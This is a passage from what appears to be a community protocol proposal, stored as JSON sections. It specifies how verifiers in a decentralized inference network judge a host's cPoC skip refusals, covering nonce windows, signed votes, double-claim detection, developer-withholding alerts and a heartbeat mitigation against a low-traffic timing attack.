→ collector Signed verdict vote emitted by each verifier with a non-Valid local verdict. Fields: N_carry, referenced_nonce, target ∈ {host(H_i), carrier(D), developer(D)}, verdict, reason_code, schedule_witness, signature under domain cPoCVoteContent. Collector: for target = host(H_i), developer D aggregates until quorum_invalid (this release). For votes against D (C3′, C13), aggregation belongs in the finalization round once self-finalization exists — not D. This release leaves that path unspecified (optimistic gap); see § Consensus / voting. MsgTimeoutInference with reason = TIMEOUT_REASON_CPOC Diff (existing message + new enum) collector → devshard Settlement only. After the CPoCVote quorum has decided a final Verdict, the inference record is closed through the existing timeout path with the new reason. Carries inference_id, repeated TimeoutVote votes. Verifiers do not need this to compute the verdict. SkipEvidenceGossip Off-diff gossip host ↔ hosts Used only when round-elision fails (§ Gossip minimization). References entries in Diff (inference_id, N_carry, vote indexes). Delivery aid only — makes the same CarrySkip visible to lagging peers so they can compute their local verdict and emit CPoCVote. Does not itself contribute to the verdict or the vote bundle."}, {"location": "community/discussion/proposals/1384-devshard-cpoc-skip-protocol/#end-to-end-flow-happy-path-host-actually-on-cpoc", "title": "End-to-end flow (happy path, host actually on cPoC)", "text": " nonce R_req nonce R_req+1..N_carry-1\n D ─────────────── InferenceRequest(R_req) ─────────────▶ H_i (other requests to H_{i+1..})\n │\n H_i in cPoC\n │\n D ◀─────────── CPoCSkipResponse(R_req, reason) ───────────┘ (arrives async, R_req + x in Diff)\n\n D ───── CarrySkip(N_carry) embeds CPoCSkipResponse(R_req, …) ──▶ any host ──▶ Diff[N_carry]\n\n each V observing L:\n on ingest Diff[N_carry]:\n record height_at[N_carry] = H(V)\n evaluate Verdict(…) using H(V) and nonce-window rules below\nV computes **Verdict(skip_evidence) ∈ {Valid, Invalid, Inconclusive}** as:
CarrySkip in Diff that references R_req (see \"First-carry rule\" below):R_req ≤ N_carry. A CarrySkip cannot reference a request that has not yet entered Diff. Failure → Invalid against the carrier (developer signature on CarrySkip), not against H_i.X (per § Design principles → Nonce binding). Let SP_e = R_req mod N_slots, SP_v = v_slot, round(R_req) = ⌊R_req / N_slots⌋. Then:SP_v ≤ SP_e → X = round(R_req) · N_slots + SP_v (same round as R_req, X ≤ R_req).SP_v > SP_e → X = (round(R_req) − 1) · N_slots + SP_v (previous round, X < R_req). Taking V's slot in the current round would reference a nonce after R_req; its height_at would be observed after R_req and could not lower-bound H_skip. Stepping back one round gives the latest executor-of-V nonce ≤ R_req.X = R_req − ((SP_e − SP_v) mod N_slots).h_X := height_at[X] — V's local height when it ingested Diff[X]. By construction X ≤ R_req, so h_X was observed no later than the request itself.h_carry := height_at[N_carry] = H(V) at ingest of Diff[N_carry].h_X ≤ h_carry (heights are monotonic at ingest), and h_carry ≤ H(V)_now (trivially — V is ingesting N_carry right now and stamps h_carry from H(V)_now).**Diff[X] is always available when Diff[N_carry] is being ingested.** By construction X ≤ R_req, and causality (checked first in this step) requires R_req ≤ N_carry, so X ≤ N_carry. Because Diff is append-only and ingested in order, every Diff[k] with k ≤ N_carry is already present when V processes Diff[N_carry].X does not identify a real prior executor-slot of V is round(R_req) = 0 ∧ SP_v > SP_e, where the closed form yields X < 0 — V had no executor slot before R_req in this session. V then falls back to the implicit session-start anchor (the lowest nonce V has ingested, typically 0) as the lower endpoint h_X. This is a cold-start condition only; it does not recur once V has executed at least once.**I := [h_X, h_carry], consumed by step (4). The correct bound is in mainnet heights, and each verifier derives it from heights it personally observed (h_X and h_carry) — no cross-host height assumption required. First-carry rule. If the developer publishes multiple CarrySkip entries for the same R_req, only the earliest N_carry in Diff is admitted as input to the verdict; later duplicates are ignored (they may still be recorded for developer-misbehavior accounting, out of scope for this predicate). This keeps I deterministic across verifiers. Path B. For MsgSkipProbe (case C7) the rule is identical, with R_req := N_SP (the probe nonce) and N_SP < N_carry strictly. CarrySkip may wrap either a CPoCSkipResponse (refusal) or a CPoCProbeResponse (status). If the carried outcome is ready, steps (3–4) of the Verdict predicate do not apply (no refusal to evaluate); the carry is instead recorded as a scheduling receipt consumed by case C13. Worked examples** (let N_slots = 4, V's slot SP_v = v_slot = 2):R_req SP_e branch N_carry round(R_req) X h_X h_carry Result 10 2 SP_v = SP_e (V is executor) 10 2 10 500 500 pass; I = {500} (evaluate Schedule(H_i, 500) in step 3) 10 2 SP_v = SP_e 13 2 10 500 500 pass; same block ⇒ I = {500} 10 2 SP_v = SP_e 40 2 10 500 520 pass; I = [500, 520] — step 3 seeks any H in that interval on the cPoC schedule 11 3 SP_v < SP_e (same round) 40 2 10 500 520 X = 11 − 1 = 10 (same round as R_req); I = [500, 520] 9 1 SP_v > SP_e (previous round) 40 2 6 498 520 X = 9 − 3 = 6 (round 1, not round 2); h_X = 498 observed before R_req; I = [498, 520] 1 1 SP_v > SP_e, round = 0 10 0 — — — bootstrap edge case: no previous round ⇒ fall back to session-start anchor as h_X 10 2 — 9 — — — — fail (causality) → Invalid carrier 10 (probe N_SP) 2 SP_v = SP_e 13 2 10 500 500 pass; I = {500} (Path B; N_SP < N_carry strictly) CarrySkip envelope has payload_kind = skip_response (Path A); skipped for Path B (payload_kind = probe_response, which references N_SP and has no inference_id to collide). Procedure:inference_id* := Diff[R_req].inference_id — read from the original MsgStartInference entry (which must already be in Diff by causality, step 1).Diff for any entry satisfying kind = MsgConfirmStart ∧ inference_id = inference_id* ∧ executor = H_i. Call the matching nonce N_confirm if found.N_confirm < N_carry → Invalid against H_i, reason_code = double_claim_confirm_then_skip. The host confirmed the inference (and therefore ran it, or must have intended to) and then signed a contradictory CPoCSkipResponse that D later carried. This is a cryptographically provable lie: both the MsgConfirmStart.executor_sig and the embedded CPoCSkipResponse signature are H_i's.N_confirm > N_carry (confirm appears after the carry) → Invalid against H_i, reason_code = double_claim_skip_then_confirm. Symmetric violation: the host refused the request, then later confirmed and ran the same inference.MsgConfirmStart for inference_id* may arrive after V has already ingested N_carry and computed a verdict, the verdict from step (4) is provisional for W_seal mainnet blocks after h_carry (W_seal is chain-parametrized — propose ≈ 2 blocks, matching timeout_skip_gossip). During the seal window, if a contradictory MsgConfirmStart lands, V re-runs the predicate and emits a superseding CPoCVote keyed on (N_carry, V_pubkey) (§ Consensus / voting); the collector keeps only the latest. After W_seal expires the verdict is final and this step stops re-firing; any post-seal MsgConfirmStart is a settlement-layer issue, not a cPoC verdict flip. V tracks the seal window via a provisional_until[N_carry] = h_carry + W_seal entry attached to pending_verdicts.MsgConfirmStart for inference_id if a CarrySkip whose embedded skip-response references the corresponding R_req already exists in Diff, and (ii) a CarrySkip(payload_kind = skip_response) referencing R_req if MsgConfirmStart(inference_id = Diff[R_req].inference_id) already exists. Because Diff ordering is already deterministic, this rejection is a pure function of Diff and race-free. With this rule active the scan above catches only the seal-window race.H_i ∉ PoC_slot_set. Otherwise → Invalid (host had POC_SLOT = true, must not skip).I.∃ H ∈ I : Schedule(H_i, H) ∈ {prepare, active} → candidate Valid (subject to (5)). The host was legitimately on cPoC at some height V personally witnessed in I; that is sufficient.∀ H ∈ I : Schedule(H_i, H) == idle → candidate Invalid (subject to (5)). The host claims cPoC refusal but is not on the schedule at any height in I.I (h_X and h_carry) are strictly confirmed by the height-sync layer (assumption 1), commit to the candidate from (4). If the height-sync layer flags either endpoint as not yet strictly confirmed, and the schedule verdict is adversarial (Invalid), V MUST hold the verdict as Inconclusive until height sync reports confirmation covering I — then re-run step (4). This could be scheduled for future releasesCPoCSkipResponse must be validly signed by H_i and reference R_req as it appears in Diff.Outputs feed Gossip minimization (below) and, for disputes, Finalization protocol.
"}, {"location": "community/discussion/proposals/1384-devshard-cpoc-skip-protocol/#cases-to-handle-case-dataflow", "title": "Cases to handle (case / dataflow)", "text": "Legend: R_req = Path-A inference-request nonce (or, in Path B, aliased to the probe nonce N_SP); N_carry = nonce at which CarrySkip is appended to Diff; both paths have R_req < N_carry strictly. R denotes the executor round of size N_slots.
Setup: Schedule(H_i, H(V)) = active, H_i ∉ PoC_slot_set, dev behaves normally.
Flow:
D → H_i : InferenceRequest(R_req)\nH_i → D : CPoCSkipResponse(R_req, active)\nD → H_{i+1} : next InferenceRequest at R_req+1 carrying skip blob\n (or separate CarrySkip at some N_carry ≥ R_req)\nV (= any host): on Diff[N_carry] → Verdict = Valid (nonce window + schedule)\nExpected verdict: **Valid**. No gossip, no finalization trigger.
Setup: Schedule(H_i, H(V)) = idle, H_i ∉ PoC_slot_set, but H_i replies CPoCSkipResponse to avoid work.
Flow: Same as C1 up to the point the developer publishes CarrySkip. Each host V then:
V on Diff[N_carry]:\n compute Verdict(...) = Invalid # Schedule check fails at I\n emit CPoCVote(N_carry, verdict = Invalid, signed_by=V) # p2p to D (and optionally gossip)\nD collects CPoCVote messages from distinct hosts:\n if |votes(Invalid)| ≥ quorum_invalid:\n verdict is settled as Invalid\n D hands the vote bundle to finalization (today)\n — OR —\n hosts publish votes at the next finalization round (future release; see § Consensus / voting)\nExpected verdict: Invalid (Schedule check fails on the height interval I). The Invalid outcome is not attached to finalization by one party; it is the quorum of CPoCVotes from hosts that observed Diff[N_carry] and independently reached the same verdict. See § Consensus / voting for the vote-collection protocol and the \"developer today / self-finalization tomorrow\" split.
Setup: H_i signs both a MsgConfirmStart and a CPoCSkipResponse for the same inference_id (directly or via D carrying the skip blob). The two messages are cryptographically incompatible: MsgConfirmStart.executor_sig commits H_i to running the inference, and the embedded CPoCSkipResponse commits H_i to refusing it. Applicable only to Path A (payload_kind = skip_response); Path B has no inference_id on the carry and cannot trigger this case.
Flow (confirm before carry):
Diff[R_req] : MsgStartInference(inference_id = I)\nDiff[N_confirm] : MsgConfirmStart(inference_id = I, executor = H_i) # H_i claims \"I ran it\"\n... time passes ...\nDiff[N_carry] : CarrySkip embedding CPoCSkipResponse(reference_nonce = R_req,\n signed by H_i) # contradicts confirm\n\nV on ingest of Diff[N_carry]:\n Verdict predicate, step 2:\n inference_id* = Diff[R_req].inference_id = I\n scan Diff → found MsgConfirmStart(I, H_i) at N_confirm < N_carry\n ⇒ Invalid against H_i (reason_code = double_claim_confirm_then_skip)\n emit CPoCVote(Invalid, target = host(H_i), reason_code = …)\nFlow (skip carried first, confirm arrives inside the seal window):
Diff[R_req] : MsgStartInference(inference_id = I)\nDiff[N_carry] : CarrySkip embedding CPoCSkipResponse(…, signed by H_i)\nV on ingest: provisional Valid (or Invalid on other grounds); records\n provisional_until = h_carry + W_seal in pending_verdicts\n\n... within the seal window ...\nDiff[N_confirm] : MsgConfirmStart(I, H_i) # H_i claims the inference after refusing it\n\nV on re-run of the predicate:\n step 2 detects N_confirm > N_carry within seal window\n ⇒ Invalid against H_i (reason_code = double_claim_skip_then_confirm)\n emit superseding CPoCVote — collector replaces V's prior vote for (N_carry, V_pubkey)\nFlow (confirm arrives after the seal window):
Diff[N_carry] : CarrySkip(...) # sealed Valid after W_seal\nDiff[N_confirm] : MsgConfirmStart(I, H_i) # too late to flip the cPoC verdict\n\nV: does NOT re-open the settled verdict; the protocol violation is instead\n handed off to settlement (finalization) as stand-alone evidence that\n H_i signed two contradictory statements about inference I.\nExpected verdict: **Invalid against H_i** whenever both artifacts land in Diff within the seal window of each other. Settled via the standard CPoCVote quorum (§ Consensus / voting), with the vote bundle carrying reason_code ∈ {double_claim_confirm_then_skip, double_claim_skip_then_confirm} and pointers to both Diff entries as the cryptographic evidence of the contradiction. Outside the seal window the violation is still slashable, but at the settlement layer rather than as a cPoC-predicate flip (keeps verdict finality bounded).
Optional devshard-ingest hardening. The devshard MAY refuse to append either message when the other already exists in Diff (Verdict predicate, step 2, \"Defence in depth at ingest\"). This shifts the rejection from the predicate layer to the gateway layer for the common case; the predicate's step 2 remains in force for the race window during which both messages can legitimately arrive at the ingest layer concurrently.
Setup: H_i returned a legitimate CPoCSkipResponse at R_req during its cPoC window (height H_skip). Developer holds the blob for arbitrarily many rounds and later emits CarrySkip at N_carry ≫ R_req.
Flow:
D → devshard : MsgStartInference(R_req) # during H_i's cPoC window\nH_i → D : CPoCSkipResponse(R_req, active) # p2p, signed by H_i at H_skip\n... time passes; Diff advances; mainnet advances past H_skip ...\nD → devshard : CarrySkip(N_carry, CPoCSkipResponse) # late carry\nV on Diff[N_carry]:\n SP_e = R_req mod N_slots; SP_v = v_slot\n X = R_req − ((SP_e − SP_v) mod N_slots) # same round if SP_v ≤ SP_e, else previous round\n h_X = height_at[X] (≈ H_skip — V's height observed at or before R_req)\n h_carry = H(V) at ingest of Diff[N_carry]\n I = [H_skip, h_carry]; Schedule(H_i, H_skip) ∈ {prepare, active} ⇒ step 3 passes\n Verdict = Valid\nExpected verdict: **Valid. The host's attestation is truthful for a height in I; lateness does not retroactively make it a lie. Any residual harm (inference record kept open, stalled settlement) is handled at the settlement layer (MsgTimeoutInference{…CPOC} and finalization deadlines), not** by the cPoC verdict predicate.
Setup: Developer publishes a CarrySkip with N_carry < R_req (references a request that has not yet entered Diff).
Flow: Step (1) of the verdict predicate rejects the envelope on the causality inequality R_req ≤ N_carry.
Expected verdict: **Invalid against the carrier (developer signature on CarrySkip), not** against H_i. This is a pure forgery check, independent of any height interval.
POC_SLOT = true host returns skip", "text": "Setup: H_i ∈ PoC_slot_set (inference-exempt during others’ cPoC), yet replies CPoCSkipResponse.
Flow: any normal request/response leading to a carried skip.
Expected verdict: Invalid (Role check fails). Verdict is settled by vote quorum (see C2 / § Consensus / voting): every host computes the same Invalid and emits CPoCVote; the collected bundle is the evidence handed to slashing (H_i).
prepare window", "text": "Setup: Schedule(H_i, H(V)) = prepare (policy-dependent).
Decision: Same verdict rules as active.
Setup: Schedule(H_i, H(V)) = idle, but height-sync layer has not yet strictly confirmed H(V) for the nonce-window (out of scope for us — we only consume its signal).
Flow: Verdict step (4) returns Inconclusive.
Expected action: V does not emit a CPoCVote yet; it waits for the height layer to confirm. If confirmed Invalid, V emits CPoCVote(Invalid) and the standard vote-quorum flow (§ Consensus / voting) collects the bundle. If confirmed Valid, no vote is emitted and no action is taken.
Setup: D wants a cPoC status check from H_i without submitting a prompt. Schedule(H_i, H) ∈ {active, prepare} at the height the probe is answered.
Flow:
D → devshard : MsgSkipProbe(N_SP, target = H_i) # into Diff at N_SP\nH_i → D : CPoCProbeResponse(N_SP, outcome ∈\n {cpoc_active, cpoc_prepare}) # p2p, signed by H_i\nD → devshard : CarrySkip(N_carry, CPoCProbeResponse) # into Diff at N_carry > N_SP\nV on Diff[N_carry]:\n R_req := N_SP\n run the Verdict predicate (steps 1–5) unchanged\nExpected verdict: **Valid** (same predicate as Path A, applied with R_req := N_SP).
Setup: D probes H_i. H_i has finished its cPoC window and is in READY_INFERENCE (Schedule(H_i, H) = idle at the answering height).
Flow:
D → devshard : MsgSkipProbe(N_SP, target = H_i)\nH_i → D : CPoCProbeResponse(N_SP, outcome = ready) # p2p, signed by H_i\nD → devshard : CarrySkip(N_carry, CPoCProbeResponse) # into Diff at N_carry > N_SP\nV on Diff[N_carry]:\n detect payload_kind = probe_response AND outcome = ready\n record scheduling receipt: ready_at[H_i] = (N_carry, h_carry)\n Verdict predicate steps (2–3) do NOT apply (no refusal to evaluate)\nExpected verdict: not applicable. The carry is a scheduling receipt, not a skip attestation. It obliges the developer to resume routing real MsgStartInference to H_i at subsequent H_i-slot nonces. Persistent deviation after this receipt triggers C13.
Setup: H_i returns nothing (neither inference nor skip).
Expected action: Out of scope of cPoC-skip verdict. Governed by **USER_TIMEOUT in Finalization protocol. cPoC protocol contributes no** verdict in this case.
Setup: After timeout_skip_gossip the diff has not advanced one full round, so not every V has necessarily seen the carried skip and the vote collector (see § Consensus / voting) has not yet reached quorum_invalid.
Flow:
V1 emits SkipEvidenceGossip(Diff-refs) to peers # lagging peers catch up on Diff\npeers reconstruct Diff-refs, compute Verdict locally,\n and emit CPoCVote if their verdict is non-Valid\ncollector aggregates votes (`D` for host-fault cases this release; finalization round for developer-target votes when self-finalization exists — see § Consensus / voting)\nExpected verdict: whatever the vote quorum declares on the same Diff evidence. SkipEvidenceGossip is a delivery aid only; it does not compute a verdict, it just makes the same CarrySkip visible so lagging peers can vote.
Setup: High request rate; the diff naturally advances past R_req + N_slots within timeout_skip_gossip.
Expected action: No SkipEvidenceGossip emission needed; every V has the evidence by construction. Each V independently computes Verdict and, if non-Valid, emits CPoCVote. The collector aggregates votes as usual.
Setup: A verdict is Invalid (C2, C2', C4, C6-confirmed-invalid, C3', or C13).
Flow: Once quorum_invalid is reached, the collector assembles an evidence bundle consisting of: (i) the refs into Diff for MsgStartInference / MsgSkipProbe, CarrySkip, and (for C13) the H_i-slot window; (ii) the set of CPoCVote messages achieving quorum; (iii) the relevant schedule inputs (PoC_slot_set, Schedule at heights in I). This bundle is handed to Finalization protocol for inclusion in the finalization bundle for mainnet — the bundle is the input to slashing.
Setup: V has stale PoC_slot_set or wrong epoch schedule (not the network majority view).
Expected behavior: V is at fault for mis-verdict; this is a node-operator / epoch-refresh issue, not host fault. Recovery belongs to the schedule/epoch layer (out of scope). The protocol must log the conflict so operators can detect it; it must not penalize H_i when only an outlier V disagrees.
Setup: Some host H_i has signalled ready (either via CPoCProbeResponse(outcome = ready) carried in Diff at some nonce N_ready, or because Schedule(H_i, H) = idle across the last W_ready mainnet blocks that every verifier strictly confirms). The developer is nonetheless not routing real inference to H_i:
executor(n) = H_i (i.e. n mod N_slots = i), D keeps sending MsgSkipProbe(target = H_i) rather than MsgStartInference, orD stops emitting messages at H_i-slot nonces altogether while continuing to send to other slots.Observation (at each V). V counts, over a trailing window of W_fair rounds ending at the current nonce:
n_inf(H_i) = MsgStartInference entries with executor(n) = H_i,n_probe(H_i) = MsgSkipProbe entries targeted at H_i,H_i is ready (per ready_at[H_i] receipt or Schedule(H_i, H) = idle for every H ∈ [h_start_window, H(V)]).Violation predicate. ready(H_i) ∧ n_probe(H_i) + n_miss(H_i) ≥ θ_fair ∧ n_inf(H_i) < θ_min_inf — i.e. over the window, D sent probes or left H_i-slots empty at least θ_fair times while sending fewer than θ_min_inf real inferences to H_i, despite H_i being ready. Exact values (W_fair, θ_fair, θ_min_inf) are chain-parametrized (TBD; see Open questions).
Flow:
1. Diff[N_ready] : CarrySkip wrapping CPoCProbeResponse(outcome=ready) for H_i\n → every V records ready_at[H_i] = (N_ready, h_ready)\n\n2. Nonces N_ready+1 … N_ready+W_fair·N_slots advance:\n V tallies n_inf(H_i), n_probe(H_i) at H_i-slot nonces from Diff\n\n3. Violation predicate fires at V:\n V enters \"withholding-alert\" state for (D, H_i)\n\n4. Downstream enforcement: every V that is itself a future executor for D\n refuses to serve D's requests (returns a new p2p signal\n `RouteFairnessRefusal(D, H_i, evidence_refs)`) until:\n (a) D issues MsgStartInference(executor = H_i) AND H_i confirms it (MsgConfirmStart),\n OR\n (b) H_i re-enters cPoC (signals active/prepare via a fresh CPoCProbeResponse\n or via Schedule(H_i, H) transitioning back to {active, prepare}).\n\n5. When (a) or (b) holds, V clears the withholding-alert and resumes serving D.\nExpected verdict: **Invalid against the developer**, not against any host. Evidence: ready_at[H_i] receipt + the H_i-slot window of Diff showing probes / empty slots but no inference requests.
Why enforcement sits with \"next hosts\". The only actor that can credibly deny D further service is the host queued to execute D's next request. If those hosts refuse until D resumes fair routing, D has a direct economic incentive to stop withholding. No mainnet round-trip is required in the hot path; the decision is local at each V from the same Diff contents, so every honest host reaches the same alert.
Open parameters (deferred to Open questions):
W_fair, θ_fair, θ_min_inf thresholds.ready_at receipt decays after the host re-enters cPoC (presumably yes — once Schedule(H_i, H) = active again, old receipts are cleared).RouteFairnessRefusal and whether it also lands in Diff as evidence for slashing D's stake.Applicability: Only possible on low session load — specifically, when Diff contains no signed entries between R_req and N_carry that would otherwise tighten V's upper bound h_high on R_req's true height. On any session with concurrent inference traffic, intermediate entries auto-tighten the band and this attack surface closes by itself.
Setup. Schedule(H_i, h_req) = idle (host is not on cPoC at the moment R_req enters Diff). Immediately after R_req, session traffic goes quiet: D has no other inferences to submit. A malicious H_i then waits strategically for its next scheduled cPoC window to open at some height h > h_req, signs CPoCSkipResponse(R_req, active) during that later window, and relies on D's late CarrySkip landing far enough in the future that V's height interval I = [h_X, h_carry] contains h. Under ∃ H ∈ I semantics (Verdict predicate, step 3) the carried refusal now passes, even though the host was idle at h_req and therefore owed the developer real inference.
Flow (attack, without mitigation):
mainnet h_req : Diff[R_req] = MsgStartInference # H_i idle at h_req\n... quiet session; no intermediate Diff entries ...\nmainnet h+Δ : H_i enters cPoC at mainnet height h > h_req\n H_i → D : CPoCSkipResponse(R_req, active) # signed at height h (fresh lie)\nmainnet h_carry: Diff[N_carry] = CarrySkip(embeds above)\nV on ingest: h_X ≈ h_req; h_carry ≫ h_req\n I = [h_X, h_carry] — wide band, no intermediate stamp\n ∃ H ∈ I : Schedule(H_i, H) = active ⇒ step 3 passes → Valid (wrong)\nMitigation (developer heartbeat). When D has an outstanding R_req and no further inference to submit within the current round (R_req … R_req + N_slots), D SHOULD emit a lightweight heartbeat — a MsgSkipProbe targeted at the natural next slot executor(R_req + 1) — within ≈ 1 mainnet block of R_req. The heartbeat carries D's signed observed_height ≈ h_req, and the host's responding CPoCProbeResponse (carried back via a subsequent CarrySkip) carries the host's signed observed_height as well. Both stamps land in Diff at nonces > R_req, providing a tight upper bound h_high on R_req's true height.
Cadence — one heartbeat, one round, only while idle.
D emits the heartbeat once within the round of R_req. A single stamped entry is sufficient to tighten h_high; additional heartbeats add no verdict strength.R_req. Once the session advances past nonce R_req + N_slots (one full executor round), the band for R_req is already bounded from above by any signed entry in that window. D MUST NOT continue emitting heartbeats after the round closes — further ones no longer improve the verdict for R_req.D would otherwise leave Diff quiet. If D has real MsgStartInference traffic queued (any nonce in [R_req + 1, R_req + N_slots]), those entries already provide h_high via their own observed_height stamps — no heartbeat is emitted.Flow (mitigated):
mainnet h_req : Diff[R_req] = MsgStartInference(to H_i) # real request\nmainnet h_req+ε : Diff[R_req+1] = MsgSkipProbe(to H_{i+1}) # heartbeat — if no real follow-up\nmainnet h_req+ε' : H_{i+1} → D : CPoCProbeResponse(N_SP=R_req+1, …)\nmainnet h_req+ε\" : Diff[N_hb_carry] = CarrySkip(embeds the probe response)\n # observed_height stamps ≈ h_req\n... (D stops heartbeating; round closes) ...\nmainnet h_carry : Diff[N_carry] = CarrySkip(for the real R_req)\n\nV on ingest of Diff[N_carry]:\n h_X = height_at[X] (≈ h_req; lower bound)\n h_high = observed_height on earliest stamp in (≈ h_req+ε; heartbeat tightened)\n Diff[(R_req, N_carry)]\n band = [h_X, h_high] — collapses to ≈ {h_req}\n step 3 now evaluates against a near-point band:\n Schedule(H_i, h_req) = idle ⇒ Invalid (attack closed)\nInteraction with other cases.
H_i itself and H_i responds ready, the response contradicts its own later CPoCSkipResponse(R_req, active) — a double-claim analogous to the MsgConfirmStart vs. CPoCSkipResponse mutual-exclusion rule. Verdict is Invalid against H_i on sight, without needing the band to resolve.H_{i+1} (the natural case since R_req + 1's executor is H_{i+1}), C13's withholding detector MUST exempt heartbeat probes emitted while an R_req awaits verdict — the probe is height-sync machinery, not a sustained routing pattern. See Open questions.D fails to emit a heartbeat despite having no alternative traffic, the band stays wide and the fresh-lie attack succeeds under ∃ H ∈ I. The heartbeat is therefore a developer-side obligation, not a protocol-enforced one from the host's perspective; a careless or lazy D exposes itself to being lied to. This aligns incentives: heartbeating protects D's own payment for real work.Expected verdict: With the heartbeat in place, the same CPoCSkipResponse that would have strategically passed under a wide band now fails step 3 and is settled Invalid via the standard CPoCVote quorum (§ Consensus / voting). Without the heartbeat on a low-load session, the protocol's verdict fidelity degrades gracefully — the verdict is whatever ∃ H ∈ I returns on the wide band — and settlement-layer penalties on host withholding remain the only recourse.
Open parameters (deferred to Open questions):
R_req and the heartbeat (≈ 1 mainnet block is a suggestion; could be tighter or looser).MsgSkipProbe or a dedicated lightweight message without a response expectation. MsgSkipProbe is reused here because it already carries an observed_height and rides existing Diff wire formats, but a response-free variant is cheaper.Every verifier V computes the Verdict predicate (§ Data flow) independently against its local view of Diff and H(V). When Verdict ∈ {Invalid, Inconclusive-pending-confirmation} (or a C13 developer-withholding alert fires), V signs and emits a CPoCVote for that N_carry. For target = host(H_i), votes are addressed to D as collector (this release). For target naming D (C3′, C13), trusted aggregation is not specified here — see § Consensus / voting (optimistic gap until self-finalization). A verdict is settled for finalization only after a quorum of independent votes has been collected; an individual verifier's opinion, by itself, slashes nobody.
CPoCVote (new p2p message, then into finalization bundle)", "text": "Field Meaning N_carry Nonce of the CarrySkip this vote refers to (or, for C13, the earliest Diff reference in the evidence window). referenced_nonce R_req or N_SP, copied from the carry; lets the collector filter duplicates. target Kind-and-identity of the actor being voted against: host(H_i) for C2/C4/C6, carrier(D) for C3', developer(D) for C13. verdict Invalid (most common). Valid votes are implicit — honest verifiers simply don't emit a vote — so no Valid voting channel is required. reason_code Machine-readable pointer to which predicate step failed (schedule_fail, role_fail, causality_fail, double_claim_confirm_then_skip, double_claim_skip_then_confirm, withholding, height_confirmed_invalid, …). schedule_witness (H*, Schedule(H_i, H*)) for the height in I the verifier consulted, so the bundle is self-contained for slashing. signature Host signature under domain cPoCVoteContent (binds all fields above). A single CPoCVote is cheap; the flood size is bounded because only verifiers with a non-Valid local verdict emit one, and every one is a pointer into existing Diff entries.
D)", "text": "Host-fault cases (target = host(H_i) — C2, C2′, C4, C6, etc.). The developer D is the vote collector for this release:
D already owns the CarrySkip envelope and knows which N_carry the vote refers to.D is the economically interested party when a malicious host means D did not get served.Collection procedure:
V with a non-Valid verdict sends CPoCVote to D via p2p (optionally piggy-backed on the same channel that carries SkipEvidenceGossip).D aggregates distinct signatures until |votes(Invalid)| ≥ quorum_invalid.D attaches the bundle to finalization per Finalization protocol. The vote bundle is the input to slashing.Developer-target cases (target names D — C3′ forged carry, C13 withholding). D cannot be the trusted aggregator of votes that would slash or dispute D. Normative intent: once self-finalization is implemented, CPoCVotes for these targets MUST be collected and aggregated in the finalization round (the same developer-independent path as other settlement), not by D.
This release — optimistic gap. The protocol does not specify a collector for developer-target votes. We assume D behaves honestly when forwarding or aggregating evidence in practice, or that C3′/C13 Invalid outcomes are out-of-band rare; malicious D censoring or withholding CPoCVotes against itself is a known uncovered negative case, scheduled for closure when self-finalization lands. Verifiers still emit CPoCVote with target = developer(D) / carrier(D) as specified; only the trusted aggregation path is deferred.
Future release (self-finalization). When the finalization round aggregates CPoCVote without relying on D:
V still emits CPoCVote on the standard channel; wire format unchanged.D for any target.D stops sending traffic and never submits a vote bundle\" for host-fault cases.Exact values — quorum_invalid (e.g. simple-majority vs. 2/3 stake-weighted), tie-break rules, stake weighting, and the mapping from votes to mainnet slashing amounts — must match the finalization / slashing layer. These are chain-parametrized and deferred to Finalization protocol and the mainnet slashing spec. This doc only guarantees:
V reaches the same verdict from the same Diff + strictly-confirmed height slice (by construction of the Verdict predicate).CPoCVote includes the schedule_witness and is auditable at finalization time (a dishonest vote is itself slashable).**PoC_slot_set provenance:** set at escrow init (immutable) vs queried post-init and cached. Different failure modes.**prepare policy:** is skip allowed while Schedule = prepare (treat like active) or forbidden (treat like idle)? Chain-spec flag skip_allowed_during_prepare.cPoCRefusalContent (host signature on CPoCSkipResponse, binds inference_id + reference_nonce + reason), cPoCProbeResponseContent (host signature on CPoCProbeResponse, binds probe_nonce + reference_nonce + outcome), CarrySkipContent (developer signature on CarrySkip, binds N_carry + referenced_nonce + payload_kind + host_response bytes), and the signing input for MsgSkipProbe (binds probe_nonce = N_SP + target_host_id).Diff-refs, signatures, schedule-witness); shared with Finalization protocol.(W_fair, θ_fair, θ_min_inf) for the developer-withholding predicate: how many H_i-slot nonces of probes / empty slots vs. real inferences, over how many rounds, qualify as misbehavior? Must be tuned so that legitimate brief probing (e.g. a single confirmation probe right after ready before resuming inference) does not trigger alerts.**ready_at lifecycle.** When exactly does a ready receipt for H_i expire? Candidates: (a) on the first strictly-confirmed Schedule(H_i, H) ∈ {active, prepare} after the receipt; (b) on any subsequent non-ready CPoCProbeResponse / CPoCSkipResponse for H_i carried in Diff; (c) a hard TTL in mainnet heights. Likely all three with (a) ∨ (b) ∨ (c).**RouteFairnessRefusal surface.** Is this purely a p2p refusal signal between hosts, or must it also land in Diff as a signed artefact so mainnet can slash D? If the latter, it becomes another SubnetTx variant and needs its own signing domain.MsgSkipProbe → p2p response → CarrySkip roundtrip be eliminated by letting D place a D-signed unilateral-skip marker (e.g. MsgCPoCSkipMarker(nonce, target_host = H_i, basis = {N_prev_carry, h_prev})) at H_i's slot nonce and routing the real MsgStartInference to the next slot? Requires (i) wire format for the marker and its signing domain; (ii) a freshness rule keyed to a prior CarrySkip for H_i — the marker is valid only while the schedule-implied cPoC window referenced by N_prev_carry has not expired at V's current height; (iii) a per-evidence cap on consecutive unilateral skips so a single old CarrySkip can't authorize indefinite skipping; (iv) reconciling with ready_at[H_i] and the C13 detector — a ready receipt invalidates outstanding marker authority immediately. Explicitly out of scope for the current release.quorum_invalid (simple majority vs. 2/3 stake-weighted), whether votes are counted per-host or stake-weighted, tie-break rules, and a liveness timeout for the collector to declare \"no quorum reached, treat as Valid\" are chain-parametrized and deferred to the finalization / slashing spec.CPoCVote without relying on D, we need: (i) a deterministic boundary condition that triggers vote aggregation (block height, session sealing, etc.); (ii) explicit ingestion of CPoCVote with target = developer(D) / carrier(D) (C3′, C13) so aggregation is not left to D; (iii) handling for late-arriving votes across the boundary; (iv) a migration story so older nodes that still send host-fault votes to D compose with the new collector. The wire format of CPoCVote itself should not need to change — only the aggregation destination. This closes the optimistic gap documented in § Consensus / voting (malicious D censoring votes against itself). Explicitly out of scope for the current release.R_req and the heartbeat (≈ 1 mainnet block proposed; tune against network latency). (ii) Whether the heartbeat reuses MsgSkipProbe or justifies a dedicated response-free lightweight SubnetTx variant (which would bind only D's signed observed_height and incur no p2p roundtrip). (iii) Carve-out rule in C13's withholding tally 